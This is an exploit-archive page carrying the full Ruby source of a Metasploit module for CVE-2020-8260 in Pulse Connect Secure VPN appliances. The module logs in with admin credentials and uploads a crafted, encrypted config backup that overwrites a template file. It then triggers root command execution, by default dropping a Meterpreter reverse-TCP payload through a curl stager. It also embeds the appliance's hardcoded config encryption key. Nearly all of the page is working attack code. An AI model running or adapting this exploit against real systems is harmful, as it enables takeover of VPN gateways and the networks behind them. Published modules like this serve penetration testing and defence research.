exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Pulse Secure VPN Remote Code Execution

Pulse Secure VPN Remote Code Execution
Posted Dec 18, 2020
Authored by h00die, Spencer McIntyre, Richard Warren, David Cash | Site metasploit.com

The Pulse Connect Secure appliance versions prior to 9.1R9 suffer from an uncontrolled gzip extraction vulnerability which allows an attacker to overwrite arbitrary files, resulting in remote code execution as root. Admin credentials are required for successful exploitation.

tags | exploit, remote, arbitrary, root, code execution
advisories | CVE-2020-8260
SHA-256 | 8de39b3d864b347239de1ec3dc821eb3dbbd1f8d117938aab08b12b371a9dbc1

Pulse Secure VPN Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

ENCRYPTION_KEY = "\x7e\x95\x42\x1a\x6b\x88\x66\x41\x43\x1b\x32\xc5\x24\x42\xe2\xe4\x83\xf8\x1f\x58\xb0\xe9\xe9\xa5".b

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pulse Secure VPN gzip RCE',
'Description' => %q{
The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability
which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root.
Admin credentials are required for successful exploitation.
Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`.
},
'Author' => [
'h00die', # msf module
'Spencer McIntyre', # msf module
'Richard Warren <richard.warren@nccgroup.com>', # original PoC, discovery
'David Cash <david.cash@nccgroup.com>', # original PoC, discovery
],
'References' => [
['URL', 'https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605'],
['URL', 'https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/'],
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601'],
['CVE', '2020-8260']
],
'DisclosureDate' => '2020-10-26',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix In-Memory',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' }
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }
}
]
],
'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } },
'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'CMDSTAGER::FLAVOR' => 'curl' },
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],
'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The URI of the application', '/']),
OptString.new('USERNAME', [true, 'The username to login with', 'admin']),
OptString.new('PASSWORD', [true, 'The password to login with', '123456'])
])

register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 1.5 ]),
])
end

def check(exploiting: false)
login
res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') })
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200
version = res.body.scan(%r{id="span_stats_counter_total_users_count"[^>]+>([^<(]+)(?:\(build (\d+)\))?</span>})&.last
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version
version, build = version

return CheckCode::Unknown unless version.include?('R')

version, revision = version.split('R', 2)
print_status("Version #{version.strip}, revision #{revision.strip}, build #{build.strip} found")
return CheckCode::Appears if version.to_f <= 9.1 && revision.to_f < 9

CheckCode::Detected
rescue Msf::Exploit::Failed
CheckCode::Unknown
ensure
logout unless exploiting
end

def exploit
case (checkcode = check(exploiting: true))
when Exploit::CheckCode::Vulnerable, Exploit::CheckCode::Appears
print_good(checkcode.message)
when Exploit::CheckCode::Detected
print_warning(checkcode.message)
else
fail_with(Module::Failure::Unknown, checkcode.message.to_s)
end

case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(
linemax: 262144, # 256KiB
delay: datastore['CMDSTAGER::DELAY']
)
end

logout
end

def execute_command(command, _opts = {})
trigger = Rex::Text.rand_text_alpha_upper(8)
print_status("Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}")

config = build_malicious_config(command, trigger)
res = upload_config(config)

fail_with(Failure::UnexpectedReply, 'File upload failed') unless res&.code == 200

print_status('Triggering RCE')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'),
'headers' => { trigger => trigger }
})
end

def res_get_xsauth(res)
res.body.scan(%r{name="xsauth" value="([^"]+)"/>})&.last&.first
end

def upload_config(config)
print_status('Requesting backup config page')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'),
'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
'vars_get' => { 'type' => 'system' }
})
fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&.code == 200
xsauth = res_get_xsauth(res)
fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?

post_data = Rex::MIME::Message.new
post_data.add_part(xsauth, nil, nil, 'form-data; name="xsauth"')
post_data.add_part('Import', nil, nil, 'form-data; name="op"')
post_data.add_part('system', nil, nil, 'form-data; name="type"')
post_data.add_part('8', nil, nil, 'form-data; name="optWhat"')
post_data.add_part('', nil, nil, 'form-data; name="txtPassword1"')
post_data.add_part('Import Config', nil, nil, 'form-data; name="btnUpload"')
post_data.add_part(config, 'application/octet-stream', 'binary', 'form-data; name="uploaded_file"; filename="system.cfg"')

print_status('Uploading encrypted config backup')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'import.cgi'),
'method' => 'POST',
'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
end

def login
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
'method' => 'POST',
'vars_post' => {
'tz_offset' => '-300',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'realm' => 'Admin Users',
'btnSubmit' => 'Sign In'
},
'keep_cookies' => true
})

fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302
location = res.headers['Location']
fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed')

return unless location.include?('admin%2Dconfirm')

# if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it.
print_status('Other admin sessions detected, continuing')
res = send_request_cgi({ 'uri' => location, 'keep_cookies' => true })
fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200
fds = res.body.scan(/name="FormDataStr" value="([^"]+)">/).last
xsauth = res_get_xsauth(res)
fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
'method' => 'POST',
'vars_post' => {
'btnContinue' => 'Continue the session',
'FormDataStr' => fds.first,
'xsauth' => xsauth
},
'keep_cookies' => true
})
fail_with(Failure::UnexpectedReply, 'Login failed') unless res
end

def logout
print_status('Logging out to prevent warnings to other admins')
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') })
fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 200

logout_uri = res.body.scan(%r{/dana-na/auth/logout\.cgi\?xsauth=\w+}).first
fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?

res = send_request_cgi({ 'uri' => logout_uri })
fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 302
end

def build_malicious_config(cmd, trigger)
payload_script = "#{Rex::Text.rand_text_alphanumeric(rand(6..13))}.sh"
perl = <<~PERL
if (length $ENV{HTTP_#{trigger}}){
chmod 0775, "/data/var/runtime/tmp/tt/#{payload_script}";
system("env /data/var/runtime/tmp/tt/#{payload_script}");
}
PERL
tarfile = StringIO.new
Gem::Package::TarWriter.new(tarfile) do |tar|
tar.mkdir('tmp', 509)
tar.mkdir('tmp/tt', 509)
tar.add_file('tmp/tt/setcookie.thtml.ttc', 511) do |tio|
tio.write perl
end
tar.add_file("tmp/tt/#{payload_script}", 511) do |tio|
tio.write "PATH=/home/bin:$PATH\n"
tio.write "rm -- \"$0\"\n"
tio.write cmd
end
end

gzfile = StringIO.new
gz = Zlib::GzipWriter.new(gzfile)
gz.write(tarfile.string)
gz.close

encrypt_config(gzfile.string)
end

def encrypt_config(config_blob)
cipher = OpenSSL::Cipher.new('DES-EDE3-CFB').encrypt
iv = cipher.iv = cipher.random_iv
cipher.key = ENCRYPTION_KEY

md5 = OpenSSL::Digest.new('MD5', "#{iv}\x00#{[config_blob.length].pack('V')}")

ciphertext = cipher.update(config_blob)
ciphertext << cipher.final
md5 << ciphertext

cipher.reset
"\x09#{iv}\x00#{[ciphertext.length].pack('V') + ciphertext + cipher.update(md5.digest) + cipher.final}"
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close